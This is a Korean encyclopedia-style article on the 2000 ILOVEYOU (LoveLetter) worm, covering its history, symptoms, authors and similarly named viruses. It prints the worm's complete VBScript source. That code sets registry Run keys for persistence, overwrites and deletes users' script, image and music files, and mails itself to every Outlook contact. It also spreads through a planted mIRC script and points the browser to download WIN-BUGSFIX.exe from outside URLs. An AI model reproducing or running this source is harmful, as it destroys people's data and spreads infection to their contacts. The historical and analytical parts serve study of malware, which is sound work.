1. 개요
danooct1의 시연 영상 |
정식명칭 LOVELETTER(러브레터) 혹은 ILOVEYOU(아이러브유). 시만텍에서는 VBS.LoveLetter.Var라고 분류하고 있다. 대한민국에는 러브바이러스로 많이 알려져 있다. 2000년에 처음 나와 전 세계적으로 유행했던 컴퓨터 바이러스로, 대한민국에도 수많은 컴퓨터가 감염되었다. 필리핀에서 처음 생긴 컴퓨터 바이러스이며, 제작자는 얼마 못 가 체포되었다.
==# 소스 코드 #==
확장자를 보면 알 수 있듯이 개발에 사용된 언어는 비주얼 베이직 스크립트(VBScript). 보통 비주얼 베이직의 확장자는
.vbs
가 아니라 .vbp
나 .vb
이다. 그리고 .vbs
는 아까도 말했듯이, VBScript로 Visual Basic 6의 일부 문법 구문을 사용하지만, 같은 언어라고 하기에는 애매하다[1].#!syntax basic
rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / [email protected] / @GRAMMERSoft Group / Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? [email protected] ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _
"<?-?HEAD><BODY ONMOUSEOUT=@[email protected]=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=@[email protected]=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
"<!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
"aw=1"&vbcrlf& _
"code="
dta2="set fso=CreateObject(@[email protected]@-@)"&vbcrlf& _
"set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
"if (err.number=424) then"&vbcrlf& _
"aw=0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit = CreateObject(@[email protected]@-@)"&vbcrlf& _
"regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
if (l1=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
end if
next
set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
b.close
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub
2. 감염과 피해
제목 : I Love You
내용
kindly check the attached LOVELETTER coming from me
(부디 제가 보낸 러브레터 첨부파일을 확인해 주시길.[2])
첨부파일
LOVE-LETTER-FOR-YOU.TXT.{{{#red vbs}}}
참고 영상[3]내용
kindly check the attached LOVELETTER coming from me
(부디 제가 보낸 러브레터 첨부파일을 확인해 주시길.[2])
첨부파일
LOVE-LETTER-FOR-YOU.TXT.{{{#red vbs}}}
이메일을 통해 감염되며, 저 메일에서 만악의 근원인 첨부파일 LOVE-LETTER-FOR-YOU.TXT. vbs를 실행하는 순간 감염된다.[4]
바이러스에 감염되면 가장 먼저 사용자의 아웃룩에 등록되어 있는 모든 메일 주소로 위의 메일을 보내며, 확장자가 vbs, vbe, js, css, wsh, sct, hta, jpg, jpeg, mp2, mp3인 모든 파일을 "I Love You"라는 내용만이 적힌 스크립트 파일로 만든다. 당연히 원본 파일은 삭제되어 복구할 수 없으며, 남는 건 "I Love You"란 공허한 문장뿐.[5]
컴퓨터를 강제 종료하면 감염을 막을 수는 있지만, 바이러스에 감염되어 "I Love You"로 대체된 파일을 여는 순간 바이러스는 재가동된다.
3. 단순하지만 강력한 증상
이 악성코드는 시스템 파일을 감염시키지 않기 때문에 컴퓨터를 먹통으로 만들 정도로 치명적인 악성코드는 아니다. 코드 자체도 아웃룩에 접근하는 코드를 제외하면 그렇게 복잡하지 않다.하지만 이 바이러스의 무서운 점은 감염당하는 파일의 확장자다. 윗 문단을 읽으면 알겠지만 초기 버전부터 CSS와 JavaScript 파일을 날려 웹 개발자를 절망시키는 건 물론 JPG, MP3를 날린다.
그리고 이후에 나온 변종들은 모든 미디어 파일을 감염시키는 건 물론 Microsoft Word 문서 파일 같은 업무용 파일을 감염시켜 날리는 등 더 강해져서 왔다.
하드디스크에 소중한 데이터나 작업용 파일 등 소중한 자료들을 "I Love You"라는 10바이트짜리 vbs파일로 바꾸는 무자비함과 간단한 코드로 인한 빠른 실행 속도 때문에 강제종료할 틈도 없을 정도로 괴악한 속도 때문에, 일단 한번이라도 당해본 사람은 vbs파일만 보더라도 공포를 느낄 정도다.
이 때문에 일각에서는 카지노 바이러스와 함께 랜섬웨어의 조상으로 보기도 한다. 랜섬웨어보다 더 답없는 것은 랜섬웨어는 복호화 키를 찾아주는 사이트나 일말의 도박으로 해커에게 돈을 지불하는 것으로 복구 할수 있는 일말의 희망이라도 있지만 얘는 복구 방법이 아예 없다는게 문제다. 한편으로는 단순한 문구 하나로 인간의 심리를 완전히 간파했다는 점에서 사회공학을 이용한 바이러스, 나아가 Advanced Persistent Threat의 시초로 볼 수도 있다.
4. 개발자
당시 필리핀의 인터넷 서비스 제공업체 스카이인터넷(Sky Internet)은, 해당 바이러스가 자사 서버를 통해 유포되고 있다는 신고를 접수하고, 필리핀 국가수사국(NBI)과 공조하에 배포자를 찾기 시작했다. 이들은 조사 결과 마닐라의 한 아파트로부터 어떤 전화번호[6]가 반복적으로 나타나는 것을 발견했다.그렇게 밝혀진 용의자는 AMA 정보대학 출신의 2인조 프로그래머 마이클 부엔(Michael Buen)과 오넬 데 구스만(Onel de Guzman)이었다. 이들은 중소기업에 컴퓨터 프로그램을 팔거나 학생들의 논문을 대행해주는 컴퓨터 동호회 '그래머소프트(GRAMMERSoft)'[7]의 회원인 것으로 밝혀졌다. 이들 중 데 구스만은 AMA 대학을 4학년에 중퇴한 전직 대학생으로, 자신의 졸업논문이 인정받지 못한 것[8]에 큰 앙심을 품고 자신의 졸업논문 내용을 바탕으로 한 바이러스를 만들었다고 한다. 한편, 2인조 중 나머지 멤버였던 부엔은 러브 바이러스가 전세계 컴퓨터망에 침투해 엄청난 피해를 내기 시작한 다음날인 2000년 2월 5일에 유유히 대학을 졸업했다.[9]
부엔이 만들어 배포한 악성코드 가운데는 마이크로소프트 워드 매크로 바이러스의 형태를 띤 것도 있었는데, 이력서 형식으로 위장한 이메일을 실행하면 다음과 같은 경고문구가 출력되고 워드 파일을 감염시키도록 되어 있었다.
"Warning: If I don't get a stable job by the end of the month I will release a third virus that will remove all folders in the Primary Hard Disk..."
(경고: 이번 달 말까지 내가 안정된 직장을 못 얻으면, 세 번째 바이러스를 풀어서 메인 하드디스크에 있는 폴더를 모두 지워버릴 거야.)
어이없는 사실은, 바이러스 역할을 하는 이력서에 마이클 부엔이 자신의 이름과 데 구스만의 이름, 심지어 자신들의 대학교가 위치한 주소지 등을 떡하니 적어놓았다는 것이었다. 이 때문에 필리핀 당국 수사관들은, 처음부터 해당 학생들이 광범위한 피해를 노리고 이 바이러스를 만들었다기보다는, 그저 장난삼아 조크 바이러스 같은 것을 만들었을 가능성이 크지 않을까 생각한다고 CNN과의 뉴스 인터뷰에서 소감을 밝히기도 했다. 하지만 철부지 대학생들의 장난이라기엔, 그 결과는 이미 세계구급으로 커져 있었다.[10] (경고: 이번 달 말까지 내가 안정된 직장을 못 얻으면, 세 번째 바이러스를 풀어서 메인 하드디스크에 있는 폴더를 모두 지워버릴 거야.)
부엔과 데 구스만은 당시 필리핀 법에 멀웨어 관련 조항이 없다는 이유로[11] 무죄 석방되었다. 이 둘은 사건 이후에도 프로그래머로 활동 중이다.
5. 동명의 다른 악성코드
5.1. Win95/Love
컴퓨터 날짜 상으로 2000년 이후 매월 1일마다 감염된 프로그램이 실행되면 PC의 메인보드에 내장된 내장 스피커에 비프 음으로 LG 로고송(사랑해요 LG)을 재생해 Win95/Love라는 진단명이 붙은 바이러스. 앞서 서술된 바이러스(VBS/Love_Letter)와는 다른 바이러스이다.
Windows 9x(95/98/98 SE/Me) 계열에서만 실행이 가능하다는 점과 실행 파일 섹션[12] 사이의 빈 공간을 겹쳐 써 감염을 시킨다는 방식은 Win95/CIH (CIH 바이러스)와 매우 유사하다.
직접 분석을 해 보지는 않았지만 여러 정황과 시대적 배경(1999년 말)을 감안하면 소스 코드가 공개되었던 CIH 바이러스의 코드를 일부 수정해 감염 증상[13]만 바꾼 바이러스가 아닐까 추정된다(자세한 내용은 후에 가지고 있는 샘플을 리버싱해 본 후에 추가할 예정). 실제로 이 당시 많은 바이러스들이 CIH 바이러스의 코드를 참조하거나 모태로 한 경우가 많았다. 크리스마스 바이러스로 알려졌던[14] Win32/Kriz 역시 소스 코드를 살펴 보면 Win95/CIH 를 모태로 하고 있다.[15]
5.2. Win32/FunLove.4099
2000년대 초반에 굉장히 활동력이 강했던 파일 감염 바이러스. 네트워크 파일 공유를 통해 재감염이 일어날 수 있었기 때문.파리떼 바이러스(Win32/Parite) 이전 세대에 님다 바이러스(Win32/Nimda)와 더불어 가장 전파력이 강했던 바이러스이다. 인터넷 자료실 등에서 게임 등을 다운로드 받아보면 이 바이러스에 감염된 경우가 많았다.
Win98 이상이라면 작업관리자를 실행했을 때 램에 상주된 FLCSS.exe 라는 파일을 확인할 수 있으며 감염파일 내부에는 ~Fun Loving Criminal~ 이라는 메시지가 있다.
6. 관련문서
[1] 예를 들어 VBScript에서는 변수 선언시 자료형을
As 변수형
으로 지정할 수 없다. 자료형이 Visual Basic 6 기준으로 Variant 형으로 고정되는 셈. 내부적으로 자료형이라는 개념이 없는 것은 아니지만(CInt, CLng, CDbl 같은 형 변환 함수들이 엄연히 존재하기 때문), 자료형을 지정하는 구문이 별도로 없는 것. 이는 자바스크립트가 자바나 C언어와 같은 다른 컴파일형 언어들과 비교했을 때 변수 선언 시 자료형을 지정할 수 없고 무조건 var
를 써야 하는 것과 비교할 수 있다. 스크립트 언어가 컴파일 언어와 비교해서 변수의 메모리 공간을 사전에 마련할 필요가 없다는 점에서 기인한 특징이겠으나, 엄격한 타입 체크의 부재로 인하여 프로그래머의 실수를 잡아내기 어려워졌다는 단점이 생긴다. 자바스크립트의 이런 단점은 이후 플래시의 액션스크립트 버전 2.0에서 var 변수명:자료형
식으로 확장되어 보완되기에 이르렀으며, 이러한 자료형 선언 방식은 이후 TypeScript에서 채택되었다.[2] 참고로 원문의 영어 kindly는 please(제발)와 유사하게 부탁하는 문장에 쓰이지만, please보다는 어조가 다소 고압적이며 '상대라면 당연히 내 부탁을 들어줄 것'임을 전제하는 표현이다. 둘을 합쳐서 Please kindly~ 라고 쓰면, '내가 예의를 차려서 부탁하고 있으니까 당신도 예의있게 내 말을 들어주길 바란다'라는 함의가 깔린 부탁 표현이 된다. 여담으로 해당 표현은 동남아시아와 남아시아 영어에서 특히 상투적으로 사용되는 표현으로, 발신자의 정체를 짐작케 한다.[3] 업로더는 본 바이러스를 설명하며 변종을 만들기가 쉽다는 것을 지적하였고, 직접 메모장을 열어 실행 파일을 감염시키는 변종을 자작하여 시연하였다. 당연하지만 이 모든 과정은 가상 PC 내에서 이루어졌다.[4] 과거의 웜 바이러스들은 메일로 확산될 때 대부분 이런 식으로 이중 확장자를 사용해 정체를 속였다(예: .txt.vbs, .jpg.exe, .jpg.scr, .mp3.scr, .jpeg.hta 등). 아웃룩 익스프레스에서 기본적으로 확장자를 감추기 때문이며, 이 웜의 경우는 vbs 파일의 아이콘이 텍스트 문서의 아이콘과 유사해 더욱 잘 속을 수 밖에 없었다.[5] 삭제된 파일은 파일 복구 프로그램을 이용해도 복구가 불가능하다. 바이러스가 파일을 삭제하기 전 파일의 내용을 바이러스 코드로 덮어씌운 다음에 삭제하기 때문. 즉, 복구 프로그램으로 파일을 복구해도 바이러스 코드를 덮어쓴 파일이 복구되는 것이다. 그나마 불행 중 다행인 것은 확장자가 mp2, mp3인 파일은 삭제하지 않고 숨겨놓기만 해서 탐색기의 폴더 옵션을 조정해서 숨겨진 파일도 보이게 한 뒤 파일 속성에서 숨김 특성을 풀면 원래대로 복구할 수 있다.[6] 이 당시는 아직 인터넷 전용선(LAN)이 세계적으로 널리 보급되기 전이라, 모뎀을 거쳐서 전화선을 통해 인터넷을 하는 사람이 여전히 많던 시기였다. 해당 전화번호는 레오넬 라모네스(Reonel Ramones)라는 은행 직원의 소유로 되어 있었다. 조사 결과 진범은 라모네스와 함께 살고 있던 대학생 2명이었고, 라모네스는 조사 끝에 증거 불충분으로 풀려났다.[7] 부엔이 자신이 만든 악성코드에 이 동호회에 감사하는 내용의 인사말을 집어넣어 놓는 바람에 알려졌다.[8] 돈이 없는 사람들도 인터넷에 접속할 수 있도록, 트로이 목마를 이식해 인터넷 이용자들의 패스워드를 훔치는 방법에 대한 논문이었다고 한다. 이미 연구 주제부터가 글러먹었다. 당연하지만 대학 논문심사위는 데 구스만의 졸업논문 인정을 거부하였고, 그와 동시에 예정되어 있던 졸업도 취소되었다.[9] 그가 졸업 논문용으로 만든 프로그램은 '컴퓨터 파일을 한번에 대량으로 복제할 수 있는 프로그램'으로, 얼마든지 바이러스 제작에 악용될 수 있는 기술이었다. 실제로 데 구스만은 자신의 트로이목마를 부엔의 프로그램과 결합시켜서 러브 바이러스를 만들어냈다.[10] 확인되지 않은 루머에 따르면, 파일이 퍼진 진짜 뒷사정은 다음과 같다 카더라. 마이클이 좋아하던 '바우티스타(Bautista)'라는 여자가 데 구스만과 사귀는 걸 보고, 마이클이 질투가 난 나머지 데 구스만의 트로이목마를 개조한 뒤 연애편지로 위장해 그의 이메일로 보냈고, 데 구스만이 무심결에 그 메일을 열면서 바이러스가 유포되기 시작했다고 한다...[11] CIH 바이러스 제작자인 천잉하오도 체포되었지만 이와 같은 이유로 풀려났다.[12] 정보를 담고 있는 하나의 블록 단위라고 이해하면 된다. 일반적인 윈도우 실행 파일(PE)은 명령어를 담고 있는 code 섹션(.text), 상수 값이나 변수 초기값을 담고 있는 data 섹션(.data), 아이콘 등 내장 리소스 데이터를 담고 있는 리소스 섹션(.rsrc), 실행 파일의 포인터 정보를 담고 있는 재배치 섹션(.reloc)으로 구성된다.[13] 전문 용어로 payload(페이로드)라고 부른다. Payload(페이로드)란 화물을 뜻하는 영어 단어인데, 컴퓨터 네트워크에서는 패킷의 실제 데이터를, 컴퓨터 바이러스에서는 활동 시 나타나는 악의적인 감염 증상을 뜻한다.[14] 매년 12/25일 CIH와 똑같은 하드 디스크 데이터 및 롬 바이오스 파괴 증상을 일으킨다.[15] Win32/Kriz 바이러스는 윈도우 NT 계열에서도 동작하는데, 이는 CIH 바이러스가 이용했던 인터럽트 테이블을 이용한 Ring0 권한 획득 버그가 NT 계열에서는 먹히지 않아, 대신 kernel32.dll 파일을 수정하는 방식으로 시스템을 장악해 NT 계열에서도 동작되게 만들었다. 물론 감염 방식도 CIH 바이러스의 겹쳐쓰기 방식 대신 섹션을 새로 추가해 코드를 담는 방식으로 바뀌었다. (즉, 감염되면 파일 크기가 증가한다)